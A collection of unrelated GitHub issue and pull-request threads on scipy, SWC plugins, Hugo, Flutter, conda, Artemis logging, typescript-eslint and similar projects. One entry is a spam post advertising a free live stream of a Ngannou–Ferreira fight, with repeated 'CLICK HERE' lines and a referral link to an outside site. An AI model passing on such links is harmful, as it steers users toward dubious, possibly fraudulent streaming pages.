[ ] I have written tests and verified that they fail without my change.

already merged with #36


scipy.io.loadmat for Matlab 7.3

Is your feature request related to a problem? Please describe.
Currently, scipy is unable to load MATLAB files that are saved with the new MATLAB file format.
Attempting to load them will raise an
NotImplementedError: Please use HDF reader for matlab v7.3 files

Describe the solution you'd like
I've implemented a small library that can also load MATLAB 7.3
https://github.com/skjerns/mat7.3 , using h5py.
It will load all data with the indicated MATLAB datatype into a dict, so similar to scipy.io.loadmat.
Do you think it makes sense to integrate this directly into scipy?
Describe alternatives you've considered
Just leaving it as it is might be actually okay, as adding it would introduce a dependency on h5py (which is not a dependency of scipy afaik?). what do you think?

I don't think we should add the h5py dependency unconditionally, but it could work as an optional dependency, so it gives an error message when h5py is not installed, suggesting the user install it.
The output should be consistent with the current output for other .mat files, unless there's a good reason for that not to be true.

Alright! If this kind of optional dependency is okay as well, could I just make mat73 a dependency (given I alter it such that it's consistent with loadmat)

If there was to be an optional dependency it would be direct to h5py, it would be easier to maintain.
I'm thinking that the optional dependency would be along the lines of:
def _function_for_loading_mat73(f):
    try:
        import h5py
    except ImportError:
        raise ImportError("Must have h5py installed to load mat73 files")

    # do the file loading
    pass

rather than declaring h5py in setup.py.

Okay, and not import of mat73?

I think the more verbose question is whether you would be willing to add the code to the SciPy repo directly (with the optional h5py dependency obviously).

I can integrate the library into scipy (copy my code), no problem. It's just not very beautiful, so I thought it might be easier to call the function from scipy itself. On the other side, most people already have h5py installed (e.g. with Anaconda), but not mat73, so copying my code to scipy will be a better solution.

@ilayn I had a look, however I have the feeling that loadmat itself is in a terrible state (see https://github.com/scipy/scipy/issues/7895). I think implementing a function for 7.3 that has all the confusing and outdated options of the current loadmat (some of which don't even make sense for 7.3 style) is not really a good idea.

I think it's best to implement the reader for 7.3 under the loadmat interface using h5py as an optional dependence.  If some options from the current loadmat don't make sense for the new format, it's OK to just raise ValueErrors (or some specialized errors).
If there are things to fix in the current loadmat code, I'm sure PRs will be welcome. This work should just be separate from the enhancement for 7.3 format.
If you feel you are willing to implement a new, better reader for legacy formats with a new interface, this can also be considered, but it's definitely more work and requires quite a bit of long-term commitment (from you, yes :-)).

But we can of course help. Due to our limited attention span and time, modules get an uneven care from the maintainers so if you have a better idea we can work it out how to make it with minimum backwards incompatibility. Since people mostly moved on to newer versions of matlab I suspect it would be also welcomed by the community.

I guess the main improvements right now would be to load struct to dict and cell to list instead of loading them into ndarray.object.
See also http://blog.nephics.com/2019/08/28/better-loadmat-for-scipy/

Retaining backward compatibility is a constraint in additions, though. Adding new loading options, and changing behavior in previously undefined cases is generally easy, otherwise painful.

Is this still an issue?  I have a mat file I load that contains a SimulationOutput and I don't receive any errors.  The mat file is created by 2023b.

Is this still an issue? I have a mat file I load that contains a SimulationOutput and I don't receive any errors. The mat file is created by 2023b.

yes, because the save default of MATLAB2023b is still the old format, you need to explicitly name -v7.3 to save with the new format: https://de.mathworks.com/help/matlab/ref/save.html
save("example.mat","A","B","-v7.3")


Make TransformPluginProgramMetadata::transform_context lazy

Describe the feature
This isn't worth RFC in my opinion, a small proposal to TransformPluginProgramMetadata.
Currently global context metadata to the plugin (transform_context, experimental) is eagerly passed into plugin's context per each plugin execution. We limit surface of transform_context at this moment, but as it'll grow it can be a burden for the serialization / deserialization.
Instead, as same as other metadata does (comments, source_map) propose to change it to be lazely requested from plugin only if needed. Same as comments / source_map it doesn't have any memoization and each call will requires fn invocation to call host side serialization / deserialization, but these are mostly static context avoid those repeated calls fairly easy.
Proposed pseudo interface will looks like below:

enum TransformPluginContext {
  FilePath,
  ...
}

impl TransformPluginProgramMetadata {
  // Returns specific context metadata corresponding to the key.
  fn get_context(context_key: TransformPluginContext): String;
  // Returns all context metadata as hashMap
  fn get_context_map(): HashMap<TransformPluginContext, String>;
  // Returns experimental context
  fn get_experimental_context(context_key: &Str): Option<String>;
  fn get_experimental_context_map(): HashMap<String, String>;
}

get_context* represents current transform_context. This is a typed interface with known set of enum key, in result gaurantee to return value instead of Option<T>. But it still doesn't support return type deserialization - it'll be returned as string either can be plain string or JSON-stringified depends on the type of the context for the simplicity of the interface.
get_experimental* represents newly added experimental property. This is untyped interface to allow non-semver breaking changes.
Babel plugin or link to the feature description
No response
Additional context
No response

This'll effectively makes to remove existing eager property (transform_context and experimental) as well.
Thoughts? @kdy1

I think this way is better than passing them to all plugins.
(Actually I considered suggesting something similar when reviewing PR for experimental metadata.)

Let's do it then 🚢 :shipit:
I hope this could be the last piece of breaking changes before stabilization (but.. who knows? ¯_(ツ)_/¯)


[hugo-0.18+] "Everything is a Page"

I've built a hotsite using your theme and I use *Hugo-0.16" to render it.
Now I'm trying to update to Hugo-0.18+, but I'm having some problem. I believe the troubles are related to the "rule" everything as a page.
According to the new rules of Hugo-0.18+ it threat everything as a page (https://gohugo.io/content/using-index-md/) if we use _index.md.
Then I created a sample test site to check, but it doesn't work (same behaviour of my hotsite).
.
├── archetypes
├── config.toml
├── content
│   ├── about
│   │   └── _index.md
│   └── _index.md
├── data
├── layouts
├── static
└── themes
    └── startbootstrap-clean-blog
        ├── ...

May be it isn't an issue in your template itself, but hope you can point me some solution or workaround. Could you?

I'm sorry @adrianovieira but i don't understand which problem in need to fix: can you elaborate on "I created a sample test site to check, but it doesn't work"? What went wrong?

Ok! Let me try.
I've created a sample (https://github.com/adrianovieira/poc-hugo-issue-3387) and I expected it should work with your theme and with Hugo-0.18+.
I don't know what's wrong there.

What error message did you get?

We also have a hotsite (http://gitlab.com/devops-df/2017.brasilia.devopsdays.com.br) that works with Hugo-0.17 (and Hugo-0.16).
But if we update your theme on that hotsite and try to use hugo-0.18+ some pages (e.g "about") doesn't work properly.

For all cases, the page content isn't shown.


Contact info

Pull requests into this repository require the following checks to be completed by the submitter and reviewers.
Changes in this PR:
Added contact information page with contact data for each endpoint from their capability statements.
Submitter:

[X] Administrative tasks are complete.

This pull request describes why these changes were made.
The JIRA ticket links to this PR.
The JIRA ticket for this PR is:

[X] Tests are complete.

Tests are included and test edge cases.
Tests have been run locally and pass.

[X] Code review has been performed.

Code diff has been done and checked to ensure only expected code is being committed.
A linter for the language has been run.

Primary Reviewer:

[ ] Code works.

Code has been run locally and the basic functionality affected by the PR has been checked.
Edge cases have been checked to ensure behavior is as expected.

[x] Code review has been performed.

Code is maintainable, reusable, efficient, and correct.
Code accomplishes the tasks purpose.
Code follows style guidance appropriate for the language, including passing linter checks.
Code is well commented (which does not mean verbosely commented).

[x] Tests are complete.

Tests are included and test edge cases.
Tests have been run locally and pass.

Merger:
Prior to merging, ensure that all checks have been completed. Delete the branch after the merge
is complete.

I added data from the staging server to the database and ran this and got this error when I clicked on the modal for one of the endpoints:
shinydashboard_1       |   Warning: Error in writeImpl: Text to be written must be a length-one character vector
shinydashboard_1       |   1: runApp

I think the issue is this line in the SQL query
 fhir_endpoints.organization_names[1] as endpoint_name,

cause the endpoint in question did not have an organization name. I think what makes the most sense here is to just include all of the organization names in that field and do the same thing we do on the Endpoint page when there are multiple organization names listed. Hopefully that makes sense, let me know if that won't work or if you think there's a better alternative!

Also there's a conflict in ui.R, so if you could rebase this branch off of develop that would be great!


Java Added P004Layer with NeuralNetwork, NeuralLayer and Utils class.

Added 4 classes,

Utils                   => Used for matrix manipulation.
NeuralLayer      => Represents a layer.
NeuralNetwork  => Stores All Layer and has forward() method.
P004Layer.java => Created A Network with two layer, Shows how to use NeuralNetwork, NeuralLayer and Utils

The issue with doing this, is things are going to be getting very messy, very fast, if you have a variety of files like this, per part.
If you want, you can do this is you make a directory called pXXX (part number) + the descriptive name, and inside that directory are the multiple files you're associating as a package for that specific part.

I can also create Layer_Dense in one file and "Utils" file will be helpful through-out the series.
Maybe it is better to follow the video, I thought of implementing with good programming practice.

@Sentdex Format the pull request as per the video.

@GyanendroKh Are you going to continue your implementation or should we accept this

@khushit-shah I see your previous conversation, but at the moment we need to make some decisions. Putting code into separate files can be problematic in the future, especially when multiple people commit their code for one language. I'd liek to ask you to keep a single and complete file per each part - this way we can ensure that everyone can grab given file and run it without running into different issues like backward compatibility.

I will add code for 5th and 6th part today.

That's great! :)
Can you acknowledge my comment above, please?

I think this https://github.com/Sentdex/NNfSiX/pull/129 is much better.
Writing the utiliy methods on seperate files is better, because the matrix dot product and addition methods are replicated on all files. But having multiple files will require more steps in compilation and running the code.

If we are to put multiple files, we might as well consider using a build system gradle or maven.

@daniel-kukiela  I will write each part in separate files.  But as ve go ahead code will get bigger and bigger.

Right, there is also #129 and #105, so I'll call @tjf801 @plop91 here as well. We have to decide which implementation to use.
@khushit-shah I know, but that's exactly what we are doing with the book and how this tutorial will follow it. There are a few reasons why this would be better.
@GyanendroKh Thank you for your vote.

#105 is for JavaScript.

I checked the code again and see for example formatting changes that (like removing newlines) which are also further away from the book.
Because of this, no further response, and #129 following our guidelines and being much closer to the book, I'm going to accept #129.
Thank you for your commitment though.

I checked the code again and see for example formatting changes that (like removing newlines) which are also further away from the book.
Because of this, no further response, and #129 following our guidelines and being much closer to the book, I'm going to accept #129.
Thank you for your commitment though.


Add precommit hooks

Add hooks for precommit + some basic checks (and run flake8)

Prompted by #451

@ponyisi Given https://github.com/ssl-hep/ServiceX_frontend/issues/451#issuecomment-2480859322, I would suggest that you manually add running pre-commit to a lint workflow in your CI using https://github.com/pre-commit/action (unless you're planning on turning on pre-commit.ci in the very near future). Otherwise it is easy for people who didn't run pre-commit before pushing (or used --no-verify) to accidentally introduce non-passing code.


DocExplorer a Plugin for GraphiQL 2.0.0

Hello,
Is there a plan to make the DocExplorer into a plugin as a part of GraphiQL 2.0.0 ?
If it is, then I am willing to put in the effort to build the plugin (if it is not done yet).

duplicate of #2327


Release date logic for each month

We are looking for the first release date of each month. Any logic for it? i.e. first Monday of the month
Sometimes I saw 3 releases in a month, sometimes twice. If you can give full logic of release time, it would be helpful.

Environment:

AWS Region:
Instance Type(s):
EKS Platform version (use aws eks describe-cluster --name <name> --query cluster.platformVersion):
Kubernetes version (use aws eks describe-cluster --name <name> --query cluster.version):
AMI Version:
Kernel (e.g. uname -a):
Release information (run cat /etc/eks/release on a node):

any particular reason for your interest in the release date?
In general, most release processes at Amazon do not post a date and/or cadence due to a number of varying factors

We’re working on a predictable release cadence, to deliver updated packages more frequently and to make it easier to plan upgrades. I’ll share more when I can.


#199 change error handling description in readme

Closes #199
If somebody knows how to formulate this better - I'm open for suggestions

:+1:

Thanks for the contribution. The part about initial IOException is also a bit clearer now.


version conflict

Is there an existing issue for this?

[X] I have searched the existing issues
[X] I have read the guide to filing a bug

Steps to reproduce
trying the project FlutterWhatsAppClone
and it`s error :
The lower bound of "sdk: '>=2.7.0 <3.0.0'" must be 2.12.0'
or higher to enable null safety.
The current Dart SDK (3.1.0) only supports null safety.
Actual results
I thought it`s version conflict
Logs

Logs

Manage your Flutter app development.

Common commands:

  flutter create <output directory>
    Create a new Flutter project in the specified directory.

  flutter run [options]
    Run your Flutter application on an attached device or in an emulator.

Usage: flutter <command> [arguments]

Global options:
-h, --help                      Print this usage information.
-v, --verbose                   Noisy logging, including all shell commands executed.
                                If used with "--help", shows hidden options. If used with "flutter doctor", shows
                                additional diagnostic information. (Use "-vv" to force verbose logging in those cases.)
    --prefixed-errors           Causes lines sent to stderr to be prefixed with "ERROR:".
    --quiet                     Reduce the amount of output from some commands.
    --[no-]wrap                 Toggles output word wrapping, regardless of whether or not the output is a terminal.
                                (defaults to on)
    --wrap-column               Sets the output wrap column. If not set, uses the width of the terminal. No wrapping
                                occurs if not writing to a terminal. Use "--no-wrap" to turn off wrapping when connected
                                to a terminal.
-d, --device-id                 Target device id or name (prefixes allowed).
    --version                   Reports the version of this tool.
    --machine                   When used with the "--version" flag, outputs the information using JSON.
    --[no-]color                Whether to use terminal colors (requires support for ANSI escape sequences).
                                (defaults to on)
    --[no-]version-check        Allow Flutter to check for updates when this command runs.
                                (defaults to on)
    --suppress-analytics        Suppress analytics reporting for the current CLI invocation.
    --disable-telemetry         Disable telemetry reporting each time a flutter or dart command runs, until it is
                                re-enabled.
    --enable-telemetry          Enable telemetry reporting each time a flutter or dart command runs.
    --packages                  Path to your "package_config.json" file.

Local build selection options (not normally required):
    --local-engine-src-path     Path to your engine src directory, if you are building Flutter locally.
                                Defaults to $FLUTTER_ENGINE if set, otherwise defaults to the path given in your
                                pubspec.yaml dependency_overrides for sky_engine, if any.
    --local-engine              Name of a build output within the engine out directory, if you are building Flutter
                                locally.
                                Use this to select a specific version of the engine if you have built multiple engine
                                targets.
                                This path is relative to "--local-engine-src-path" (see above).
    --local-web-sdk             Name of a build output within the engine out directory, if you are building Flutter
                                locally.
                                Use this to select a specific version of the web sdk if you have built multiple engine
                                targets.
                                This path is relative to "--local-engine-src-path" (see above).

Options for testing the "flutter" tool itself:
    --show-test-device          List the special "flutter-tester" device in device listings. This headless device is
                                used to test Flutter tooling.
    --show-web-server-device    List the special "web-server" device in device listings.
    --ci                        Enable a set of CI-specific test debug settings.

Available commands:

Flutter SDK
  bash-completion   Output command line shell completion setup scripts.
  channel           List or switch Flutter channels.
  config            Configure Flutter settings.
  doctor            Show information about the installed tooling.
  downgrade         Downgrade Flutter to the last active version for the current channel.
  precache          Populate the Flutter tool's cache of binary artifacts.
  upgrade           Upgrade your copy of Flutter.

Project
  analyze           Analyze the project's Dart code.
  assemble          Assemble and build Flutter resources.
  build             Build an executable app or install bundle.
  clean             Delete the build/ and .dart_tool/ directories.
  create            Create a new Flutter project.
  drive             Run integration tests for the project on an attached device or emulator.
  gen-l10n          Generate localizations for the current project.
  pub               Commands for managing Flutter packages.
  run               Run your Flutter app on an attached device.
  test              Run Flutter unit tests for the current project.

Tools & Devices
  attach            Attach to a running app.
  custom-devices    List, reset, add and delete custom devices.
  daemon            Run a persistent, JSON-RPC based server to communicate with devices.
  debug-adapter     Run a Debug Adapter Protocol (DAP) server to communicate with the Flutter tool.
  devices           List all connected devices.
  emulators         List, launch and create emulators.
  install           Install a Flutter app on an attached device.
  logs              Show log output for running Flutter apps.
  screenshot        Take a screenshot from a connected device.
  symbolize         Symbolize a stack trace from an AOT-compiled Flutter app.

Run "flutter help <command>" for more information about a command.
Run "flutter help -v" for verbose help output, including less commonly used options.

Flutter Doctor output

Doctor output

[√] Flutter (Channel stable, 3.13.1, on Microsoft Windows [版本 10.0.19045.2006], locale zh-CN)
    • Flutter version 3.13.1 on channel stable at C:\MyData\flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision e1e47221e8 (2 weeks ago), 2023-08-22 21:43:18 -0700
    • Engine revision b20183e040
    • Dart version 3.1.0
    • DevTools version 2.25.0

[√] Windows Version (Installed version of Windows is version 10 or higher)

[√] Android toolchain - develop for Android devices (Android SDK version 34.0.0)
    • Android SDK at C:\MyData\SDK
    • Platform android-34, build-tools 34.0.0
    • Java binary at: C:\Program Files\Android\Android Studio\jbr\bin\java
    • Java version OpenJDK Runtime Environment (build 17.0.6+0-b2043.56-10027231)
    • All Android licenses accepted.

[√] Chrome - develop for the web
    • Chrome at C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

[X] Visual Studio - develop Windows apps
    X Visual Studio not installed; this is necessary to develop Windows apps.
      Download at https://visualstudio.microsoft.com/downloads/.
      Please install the "Desktop development with C++" workload, including all of its default components

[√] Android Studio (version 2022.3)
    • Android Studio at C:\Program Files\Android\Android Studio
    • Flutter plugin can be installed from:
       https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
       https://plugins.jetbrains.com/plugin/6351-dart
    • android-studio-dir = C:\Program Files\Android\Android Studio
    • Java version OpenJDK Runtime Environment (build 17.0.6+0-b2043.56-10027231)

[√] Connected device (4 available)
    • 220233L2G (mobile) • D6LNOJYHS4RKGQ8P • android-arm    • Android 11 (API 30)
    • Windows (desktop)  • windows          • windows-x64    • Microsoft Windows [版本 10.0.19045.2006]
    • Chrome (web)       • chrome           • web-javascript • Google Chrome 116.0.5845.141
    • Edge (web)         • edge             • web-javascript • Microsoft Edge 116.0.1938.69

[√] Network resources
    • All expected network resources are available.

! Doctor found issues in 1 category.

Hi @BarderBet. Thanks for filing this. From the error
The lower bound of "sdk: '>=2.7.0 <3.0.0'" must be 2.12.0'
or higher to enable null safety

You can add this in your pubspec.yaml
environment:
  sdk: '>=2.12.0 <3.0.0'

and run flutter pub get.
You can also checkout this Stack Overflow Thread for more info.
Closing this as this isn't an issue with flutter itself, if you disagree, kindly comment and I'd reopen this.
Thank you!


fix error 403 on Bloxstrap

Acknowledgement of preliminary instructions

[X] I have read the preliminary instructions, and I am certain that my problem has not already been addressed.
[X] I have thoroughly looked through the available Wiki articles and could not find a solution to my problem.
[X] I am using the latest version of Bloxstrap.
[ ] I did not answer truthfully to all the above checkboxes.

What problem did you encounter?
i am on the latest version of bloxstrap i unstillaed it multiple times restarted my pc and i checked thw wiki and alredy tryed and it still didnt work so idk what to do please help me thank you pizzaboxer
Bloxstrap_20241003T181036Z.log
Bloxstrap_20241003T181312Z.log
Bloxstrap_20241003T181806Z.log
Bloxstrap Log
N/A

Roblox issue that bugged bloxstrap. Can't do anything about it. Wait until it's fixed.


Add README.md and Screenshots

Added a README.md file to provide an overview of the project.
Included a Screenshots directory containing:

App screenshots
App logo
YouTube cover image

Purpose: This update aims to improve the documentation and visual representation of the project, making it easier for users and contributors to understand and navigate.

Merge README.md


CondaHTTPError: HTTP 404 NOT FOUND for url https://conda.anaconda.org/pytorch/linux-64/pytorch-0.4.0-py36_cuda8.0.61_cudnn7.1.2_1.tar.bz2

Hi all,
Do you know why I can't create the directory? I have this error:
Downloading and Extracting Packages:
CondaHTTPError: HTTP 404 NOT FOUND for url https://conda.anaconda.org/pytorch/linux-64/pytorch-0.4.0-py36_cuda8.0.61_cudnn7.1.2_1.tar.bz2
Elapsed: 00:05.193016
CF-RAY: 865c6a644a618643-PER
An HTTP error occurred when trying to retrieve this URL.
HTTP errors are often intermittent, and a simple retry will get you on your way.
CondaHTTPError: HTTP 404 NOT FOUND for url https://conda.anaconda.org/pytorch/linux-64/pytorch-0.4.0-py36_cuda8.0.61_cudnn7.1.2_1.tar.bz2
Elapsed: 00:05.193016
CF-RAY: 865c6a644a618643-PER
An HTTP error occurred when trying to retrieve this URL.
HTTP errors are often intermittent, and a simple retry will get you on your way.
I tried again, eliminating a problematic flie, reinstalling, cleaning the cache, etc. Do you know why I{m having this error?
Thank you :)
Martin

It's because anaconda doesn't support this pytorch's version anymore. You can look at requirements-2023.txt for more up-to-date version


Regarding the deletion method

what should I do if I want to delete a rectangular shape drawn by the setShape() method?
val shapeBuilder = ShapeBuilder()
                        .withShapeType(ShapeType.RECTANGLE)
                        .withShapeSize(2f)
                        .withShapeColor(Color.parseColor("#FF9429"))
photoEditor?.apply {
                        setBrushDrawingMode(true)
                        setShape(shapeBuilder)
                    }

Just call photoEditor.undo() ?


Add line breaks

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. We will now review your pull request.
Thanks,
Microsoft Pull Request Bot


SecurityError: The operation is insecure.

I created a simple module for Joomla and I've also tried this http://extensions.vinagecko.com/?extension=pogo_islider. to activate the option preserveTargetSize generates me the following error in firefox:
SecurityError: The operation is insecure.

As expected, the problem came from google fonts with https: //.
It was that which left not scale.
In case anyone has similar problems call sources from google fonts.googleapis.com/css? ............


Refactor datastore (Message/Mailbox/etc)

Currently the implementers of datastore.Message are responsible for MIME parsing; it doesn't make sense to do this in the data layer.

In #77 @makarchuk suggests moving to the repository pattern for the datastore, and eliminating the Mailbox struct/interface entirely.
Getting rid of Mailbox, and requiring all mutation calls to be made on the central Store interface would allow the Store implementation to hide any required locking or caching from client code.

Digging through the code, I think we can eliminate the Mailbox object if AllMailboxes() is converted to use the visitor pattern.


docs: fix cargo doc lint warnings

Current dependencies on/for this PR:

main

PR #64   👈

This stack of pull requests is managed by Graphite.

Merge activity

Nov 28, 1:32 AM: @Boshen merged this pull request with Graphite.


++WATCHLIVE** Francis Ngannou vs Renan Live Streams Free Battle Of The Giants On Tv Channel 19 OCT 2024

Francis Ngannou vs. Ferreira: Odds, Live Stream and KO, Judges' Scorecards Prediction
Francis Ngannou makes his long-awaited return to MMA and Professional Fighters League debut in a heavyweight championship bout against Renan Ferreira.
🔴🌍📺📱👉GO LIVE==►► CLICK HERE TO STREAMING
🔴🌍📺📱👉STREAMING==►► CLICK HERE TO WATCH LIVE
🔴🌍📺📱👉GO LIVE==►► CLICK HERE TO STREAMING
🔴🌍📺📱👉STREAMING==►► CLICK HERE TO WATCH LIVE
Ngannou traded in the four-ounce gloves for a much larger pair as he pursued a career in boxing. A split-decision loss to Tyson Fury earned respect, but he followed it up with a knockout loss to Anthony Joshua.
None of that should take away from the fact that Ngannou has proven himself to be the most fearsome striker in the heavyweight division when it comes to MMA. Ngannou took his hiatus from the sport on the heels of a six-fight wins streak that included a title defense against Ciryl Gane before his UFC contract expired.
Ngannou then hit free agency and landed with PFL who allowed him to pursue boxing until he was ready to come back to the sport that made him a star. Now, he'll get a chance to challenge their current heavyweight champion in Ferreira.
Here's a look at all the details you'll need to catch the fight, the latest odds and a prediction for the bout.
Fight Info, Odds and Prediction
1 of 2
Renan Ferreira lands a punch against Ryan Bader
Renan Ferreira lands a punch against Ryan BaderCooper Neill/Getty Images
When: Saturday, October 19 at 4 p.m. ET (main event ringwalk approximately 7 p.m. ET)
Where: Riyadh, Saudi Arabia
Live Stream: DAZN or ESPN+ PPV
Tickets: Vivid Seats
Odds: Ngannou -245 ($245 bet wins $100); Renan Ferrira +200 ($100 wager wins $200
Prediction: Ngannou via second-round TKO
Odds via DraftKings Sportsbook.
PFL is billing this fight as the Battle of the Giants and it's certainly appropriate. Ngannou is a massive heavyweight and he'll be the smaller man against the 6'8" Ferreira.
Those who haven't followed PFL might not be familiar with Ferreira, but he's certainly made a name for himself within the promotion. The 34-year-old has been ridiculously active with 11 fights since 2021, including three consecutive wins in 2023 to win the PFL heavyweight tournament and become champion.
That success rolled into 2024 with the Brazilian needing just 21 seconds to knockout Ryan Bader on a special PFL vs. Bellator card in February.
Now "Problema" will attempt to apply his power against one of the greatest power punchers of all time in Ngannou.
For Ngannou, this fight comes down to the question of mentality and ring rust.
Ngannou just took on two of the biggest stars in boxing. The fight against Tyson Fury had to do wonders for his confidence as he gave a former champion all he could handle in a 12-round fight.
The follow up against Anthony Joshua is the kind of thing that could really have an impact on a fighter. Joshua landed a devastating knockout blow and he's never been knocked out in MMA.
They are two different sports, but it will be interesting to see if there's any level of hesitation that Ngannou hasn't typically shown before.
The other interesting subplot to watch will be how Ngannou deals with Ferreira's length. The 6'8" champion has an 85" reach which could be used to land the first and more effective power punches.
The truth is that Ngannou is a good enough striker that shouldn't matter, though. He was clearly outclassed by Anthony Joshua in a pure boxing fight, but Ngannou's MMA boxing is elite.
Ngannou might come out a bit tentative and take a little longer to get his reads but once he does, he should put Ferreira to sleep.

HERE’S!!* WAY TO WATCH Ngannou vs Ferreira Live Streams ON TV Chanel 19 October 2024 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ### CLICK HERE 🟢==►► https://wrestling.procast.live/?refd_by=clicklivetv
https://wrestling.procast.live/?refd_by=clicklivetv +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Ngannou vs. Ferreira results: PFL Battle of the Giants main card live blog Get Francis Ngannou vs. Renan Ferreira live blogs for the PFL Battle of the Giants: Ngannou vs. Ferreira pay-per-view main card on Saturday night at the Kingdom Arena in Riyadh, Saudi Arabia. Former UFC heavyweight champion Francis Ngannou returns to MMA for the first time since 2022 in the main event. Ngannou and Ferreira face off in a five-round heavyweight contest. A former UFC heavyweight champion, Ngannou remains MMA's lineal heavyweight champion and was widely considered to be the No. 1 ranked heavyweight in the world when he last competed in MMA. Following two professional boxing bouts against Tyson Fury and Anthony Joshua, Ngannou now debuts in the PFL, where he meets the promotion's 2023 heavyweight champion Ferreira, who has won four consecutive bouts. For full PFL Battle of the Giants: Ngannou vs. Ferreira results, check out Uncrowned's live Ngannou vs. Ferreira results post starting at 1:30 p.m. ET. For more information on Ngannou vs. Ferreira, check out Uncrowned's How to Watch post for the event. Follow along with all the action with live round-by-round updates below when the Ngannou vs. Ferreira main card kicks off at 4 p.m. ET on DAZN pay-per-vew and ESPN+ pay-per-vew. Get PFL Battle of the Giants: Ngannou vs. Ferreira results for the Francis Ngannou vs. Renan Ferreira fight card Saturday at the Kingdom Arena in Riyadh, Saudi Arabia. Former UFC heavyweight champion Francis Ngannou makes his long-awaited PFL debut against 2023 PFL heavyweight champion Renan Ferreira in the much-anticipated five-round main event. Ngannou (17-3) returns to MMA for the first time since defending his UFC heavyweight championship with a gutty five-round decision over Ciryl Gane in January 2022. Still considered MMA's lineal heavyweight champion, Ngannou shocked the sporting world in 2023 by departing the UFC as its champion and instead signing with PFL. Between those stops, he made two cameos in professional boxing, first pushing Tyson Fury to his limits in a now-infamous bout, then losing via knockout to Anthony Joshua. Ngannou is generally regarded as one of the hardest punchers in MMA history. Ferreira (13-3, 3 NC) marches into the biggest opportunity of his career fresh off a 21-second knockout of Bellator heavyweight champion Ryan Bader this past February. Prior to that, Ferreira announced his arrival on the heavyweight scene with a trio of knockouts over Matheus Scheffel, Maurice Greene, and Denis Goltsov that crowned him as PFL's 2023 season heavyweight champion and earned the Brazilian a $1 million grand prize. Uncrowned's new "Helwanivision" also debuts for fans who purchase the DAZN pay-per-view, featuring our own Ariel Helwani, fellow members of the Uncrowned crew, and a few additional friends breaking down all the action live.


Provide an example in the Readme on how to access specific quotes withing the quote summary.

I was wondering if you could provide an example how to access (print) certain quotes within the quotes summary.
For example, only print adjclose and timestamp, not the entire quote summary (high, low, open, ect)
fn main() {
    let ticker = ["AAPL", "T", "GOOGL"];
    let provider = yahoo::YahooConnector::new();
    for t in ticker {
        let response = tokio_test::block_on(provider.get_quote_range(t, "1d", "1mo")).unwrap();
        let quotes = response.quotes().unwrap();
        println!("{}", t);
        for item in quotes
        {
            println!("{}: {:.2}",item.timestamp ,item.adjclose)
    }
  }
}

Actually I would prefer to just focus on the library's API in the Read.me instead of providing a comprehensive list of all potential usages. For example, to just print timestamp and adjclose, you could just replace the line let quotes = ... by something like
    let quotes: Vec<(u64, f64)> = response.quotes().unwrap().iter().map(|q| (q.timestamp, q.adjclose)).collect();

to achieve the desired result.


Integrated Code Lifecycle: Improve access log handling

Checklist
General

[ ] I tested all changes and their related features with all corresponding user types on a test server.
[x] Language: I followed the guidelines for inclusive, diversity-sensitive, and appreciative language.
[x] I chose a title conforming to the naming conventions for pull requests.

Server

[x] Important: I implemented the changes with a very good performance and prevented too many (unnecessary) and too complex database calls.
[x] I strictly followed the principle of data economy for all database calls.
[x] I strictly followed the server coding and design guidelines.
[x] I documented the Java code using JavaDoc style.

Changes affecting Programming Exercises

[ ] High priority: I tested all changes and their related features with all corresponding user types on a test server configured with the integrated lifecycle setup (LocalVC and LocalCI).
[ ] I tested all changes and their related features with all corresponding user types on a test server configured with Gitlab and Jenkins.

Motivation and Context

The access log can only distinguish between READ and WRITE. It would be nice, if instructors could see the difference between Clone, push and pull operations.
Description

Add more granular access logging for SSH and HTTPS git repository accesses.
Steps for Testing

With an instructor, participate in an exercise, by cloning over SSH and/or HTTPs, and pull / push.
Go to the exercise participation, open the participation's repository and go to the access log view.
Check that all operations on the repository were logged correctly.
Testserver States

[!NOTE]
These badges show the state of the test servers.
Green = Currently available, Red = Currently locked
Click on the badges to get to the test servers.

Review Progress

Performance Review

[ ] I (as a reviewer) confirm that the client changes (in particular related to REST calls and UI responsiveness) are implemented with a very good performance even for very large courses with more than 2000 students.
[ ] I (as a reviewer) confirm that the server changes (in particular related to database calls) are implemented with a very good performance even for very large courses with more than 2000 students.

Code Review

[ ] Code Review 1
[ ] Code Review 2

Manual Tests

[ ] Test 1
[ ] Test 2

Test Coverage

Screenshots

Summary by CodeRabbit

New Features

Enhanced logging and tracking for Git operations, including new repository action types such as CLONE, PULL, and PUSH.
Introduced new classes and methods for handling upload negotiations and logging access during these processes.
Support for asynchronous processing in access logging functions to improve performance.
Added a new setter method for modifying repository action types.
New methods for retrieving participation records based on repository URIs across multiple repositories.

Bug Fixes

Improved exception handling for authentication failures, ensuring better logging of failed attempts.

Documentation

Updated method signatures to clarify functionality and error handling.

Refactor

Streamlined methods for user authentication and repository action handling to enhance readability and maintainability.
Improved clarity in user authorization handling.

Tested in a testing session just now. Looks good, nice feature to see what happened in an exercise repo!

Code LGTM! Awesome job! Maybe you could add some in-line comments with good keywords allowing other devs to a) find the class later on b) understand the UploadPack, ReceivePack,..

I included links to the git documentation, that will probably help developers looking into the Artemis localVC

Sorry for the git chaos, I did an accidental on another branch. That should be fine again, and tests should run through too.


@typescript-eslint/parser can't parse a Vue SFC without <script> correctly

While using @typescript-eslint/recommended-requiring-type-checking with vue-eslint-parser as parser, @typescript-eslint/parser can't check for types when there is no <script> used in a Vue SFC.
Stacktrace:
Oops! Something went wrong! :(

ESLint: 8.17.0

Error: Error while loading rule '@typescript-eslint/dot-notation': You have used a rule which requires parserServices to be generated. You must therefore provide a value for the "parserOptions.project" property for @typescript-eslint/parser.
Occurred while linting /Users/drjume/Desktop/falconDev/my-falcondev/apps/web/src/views/NotFoundView.vue
    at getParserServices (/Users/drjume/Desktop/falconDev/my-falcondev/node_modules/.pnpm/@typescript-eslint+utils@5.27.1_ud6rd4xtew5bv4yhvkvu24pzm4/node_modules/@typescript-eslint/utils/dist/eslint-utils/getParserServices.js:16:15)
